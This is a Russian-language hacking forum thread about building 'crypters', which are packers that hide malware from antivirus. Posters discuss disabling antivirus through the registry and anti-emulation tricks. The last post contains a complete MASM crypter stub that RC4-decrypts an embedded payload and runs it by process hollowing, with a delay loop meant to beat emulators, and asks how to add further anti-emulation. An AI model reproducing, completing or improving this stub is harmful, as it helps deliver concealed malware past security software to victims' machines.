ВАЖНО Делаем криптор вместе

Нужная-ли статья ?

  • Да

    Голосов: 83 97.6%
  • Нет

    Голосов: 1 1.2%
  • Хернёй не надоело заниматься ?

    Голосов: 1 1.2%

  • Всего проголосовало
    85

Rezzzzka

Пользователь
Форумчанин
Регистрация
19.09.2015
Сообщения
1
Статья не плохая но как по мне новенький в программирование не поймёт
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 094
Репутация
8 213
Статья не плохая но как по мне новенький в программирование не поймёт
Привет !

Статья не новая, я планирую написать новую статью, как делать крипторы на C# для новичков, пока проверяю свои догадки и наработки, думаю на С# легче будет разобраться...

Планирую сделать цикл обучающих статей, от простейшего упаковщика с распаковкой в папку темп, до настоящего криптора с запуском в памяти и простейшего полиморфа... :)

Есть похожая статья на Хакере, но она тоже не нова и там исходники затерялись уже, я-же почти всё переработаю и оформлю как обучающий цикл ! ;)

Если есть какие статьи/инфа тоже выкладывайте, если несложно...
 
R

raiderblack

Гость
Возможно глупый вопрос, но все же интересно, а если через реестр запретить запуск антивируса, перезагрузить комп и после этого спокойно запустить сам вирус.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 094
Репутация
8 213
Возможно глупый вопрос, но все же интересно, а если через реестр запретить запуск антивируса, перезагрузить комп и после этого спокойно запустить сам вирус.
Не получится по следующим причинам:

1. АВ более глубоко внедряются в систему и запускаются через службы виндовс;

2. Доступ к службам не доступен никому, если только в безопасном режиме...
 

Nedovirus

Уважаемый пользователь
Форумчанин
Регистрация
14.05.2014
Сообщения
399
Репутация
310
но гуй таким способом можно пришить у некоторых вполне
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 094
Репутация
8 213
но гуй таким способом можно пришить у некоторых вполне
У нода точно можно, я пробовал, но смысла нет, т.к. ав всё-равно детектит и блокирует вирусы, просто уведомления не будет и всё... :(
 

Nedovirus

Уважаемый пользователь
Форумчанин
Регистрация
14.05.2014
Сообщения
399
Репутация
310

3aHyga

Пользователь
Форумчанин
Регистрация
27.10.2015
Сообщения
2
а кто может подсказать как прикрутить VMBE2 двиг к стабу на АСМЕ
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 094
Репутация
8 213
а кто может подсказать как прикрутить VMBE2 двиг к стабу на АСМЕ
Нахрен он нужен этот двиг, по хорошему нужно разобраться из-за чего идёт детект, далее делать антиэмуляцию, а прикручивать двиг написанный непонятно как и непонятно для чего это изначально неверный подход, да и не двиг это вовсе, если говорить про классическое понимание термина "Движок" !WinkSmile
 

3aHyga

Пользователь
Форумчанин
Регистрация
27.10.2015
Сообщения
2
В вашем крипторе были примеры антиэмуля можно пример на ASM сделать? допустим вот есть стаб на асме

Код:
;Name: Simple Crypter
;Coder: Slayer616
;Version 1.0
;Compiled with MASM
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\ntdll.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\ntdll.lib
.data
mPath byte 256 dup (0)
password byte 'Jewz', 0
.data?
hInstance dword ?
loop_stopper dword ?
ResInf        dword ?
hResourceSize dword ?
rc4keytable db 256 dup (?)
.code
Rc4_setkey proc Pass:DWORD, LenPass:DWORD
pushad
test eax, 58
test edx, 42
test esi, 12
mov eax, 0FFFEFDFCh
mov ecx, 256/4
Init_rc4keytable:
mov dword ptr [rc4keytable+4*ecx-4], eax
sub eax, 04040404h
dec ecx
jnz Init_rc4keytable

xor eax, eax
mov edi, Pass

Key_return:
xor ebx, ebx
mov esi ,LenPass
jmp New_key

Key_loop:
inc bl
dec esi
jz Key_return

New_key:
test eax, 58
test edx, 42
test esi, 12
mov dl, byte ptr [rc4keytable+ecx]
add al, byte ptr [edi+ebx]
add al, dl
mov dh, byte ptr [rc4keytable+eax]
mov byte ptr [rc4keytable+ecx], dh
mov byte ptr [rc4keytable+eax], dl
inc cl
jnz Key_loop

popad
ret
Rc4_setkey endp

Rc4_crypt proc iData:DWORD, LenData:DWORD
pushad
test eax, 58
test edx, 42
test esi, 12
mov edi, LenData
mov esi, iData
test edi, edi
jz Rc4_enc_exit

xor eax, eax
xor edx, edx
xor ecx, ecx
        xor ebx, ebx

Rc4_enc_loop:
test eax, 58
test edx, 42
test esi, 12
inc bl
mov dl, byte ptr [rc4keytable+ebx]
add al, dl
mov cl, byte ptr [rc4keytable+eax]
mov byte ptr [rc4keytable+ebx], cl
mov byte ptr [rc4keytable+eax], dl
add cl, dl
mov cl, byte ptr [rc4keytable+ecx]
xor byte ptr [esi], cl
inc esi
dec edi
jnz Rc4_enc_loop

xor eax, eax
mov edi, offset rc4keytable
mov ecx, 256/4
cld
rep stosd

Rc4_enc_exit:
popad
ret
Rc4_crypt endp

ExtractFile proc
local hResource:dword
LOCAL sinfo: STARTUPINFO
LOCAL pinfo: PROCESS_INFORMATION
LOCAL base: dword
LOCAL sec: ptr IMAGE_SECTION_HEADER
LOCAL cnt: CONTEXT
invoke GetModuleFileName, 0, offset mPath, 256
invoke GetModuleHandle, 0
mov hInstance, eax
invoke FindResource, hInstance, 1212, RT_RCDATA
.if eax != 0
  mov hResource, eax
  invoke SizeofResource, hInstance, hResource
  .if eax != 0
    mov hResourceSize, eax
    invoke LoadResource, hInstance, hResource
    .if eax != 0
      invoke LockResource, eax
        mov ResInf , eax
        invoke lstrlen,addr password
        invoke Rc4_setkey,addr password,eax
        invoke Rc4_crypt,ResInf,hResourceSize
        invoke RtlZeroMemory, addr sinfo, sizeof STARTUPINFO
        invoke CreateProcess, offset mPath, 0, 0, 0, 0, CREATE_SUSPENDED, 0, 0, addr sinfo, addr pinfo
        invoke RtlZeroMemory, addr cnt, sizeof CONTEXT
        mov cnt.ContextFlags, CONTEXT_INTEGER
        invoke GetThreadContext, pinfo.hThread, addr cnt
        invoke GetModuleHandle, 0
        invoke ZwUnmapViewOfSection, pinfo.hProcess, eax
        mov edi, ResInf
        add edi, IMAGE_DOS_HEADER.e_lfanew[edi]
        assume edi:  ptr IMAGE_NT_HEADERS
        invoke VirtualAllocEx, pinfo.hProcess, [edi].OptionalHeader.ImageBase, [edi].OptionalHeader.SizeOfImage, MEM_COMMIT + MEM_RESERVE, PAGE_EXECUTE_READWRITE
        mov base, eax
        invoke WriteProcessMemory, pinfo.hProcess, base, ResInf , [edi].OptionalHeader.SizeOfHeaders, 0
        lea eax, [edi].OptionalHeader
        mov sec, eax
        movzx eax, [edi].FileHeader.SizeOfOptionalHeader
        test eax, 58
test edx, 42
test esi, 12
        add sec, eax
        xor eax, eax
        xor esi, esi
        xor ecx, ecx
        .while ( si < [edi].FileHeader.NumberOfSections )
            imul eax, esi, sizeof IMAGE_SECTION_HEADER
            add eax, sec
            mov ebx, base
            add ebx, IMAGE_SECTION_HEADER.VirtualAddress[eax]
            mov edx, ResInf
            add edx, IMAGE_SECTION_HEADER.PointerToRawData[eax]
            invoke WriteProcessMemory, pinfo.hProcess, ebx, edx, IMAGE_SECTION_HEADER.SizeOfRawData[eax],0
            inc esi
        .endw
        mov eax, base
        add eax, [edi].OptionalHeader.AddressOfEntryPoint
        mov cnt.regEax, eax
        invoke SetThreadContext, pinfo.hThread, addr cnt
        invoke ResumeThread, pinfo.hThread
        ret
    .endif
  .endif
.endif
ExtractFile endp


_entrypoint:
mov loop_stopper,500000000
loop_start:
mov eax,0
test eax, 58
test edx, 42
test esi, 12
test eax, 58
test edx, 42
test esi, 12
push eax
pop eax
cmp loop_stopper, 0
dec loop_stopper
jg loop_start
invoke ExtractFile
invoke ExitProcess, 0
end _entrypoint
Можно какойнебудь пример антиэмуля и как его прикрутить допустим в этот стаб?
 
Автор темы Похожие темы Форум Ответы Дата
D СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 37
Z СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 3
Антоха СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 4
X-Shar СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 1
X-Shar СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 14
X-Shar СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 17
X-Shar СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 15
X-Shar СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 32
X-Shar СТАТЬИ И УРОКИ ПО ИССЛЕДОВАНИЮ ЗАЩИТЫ 0
Верх Низ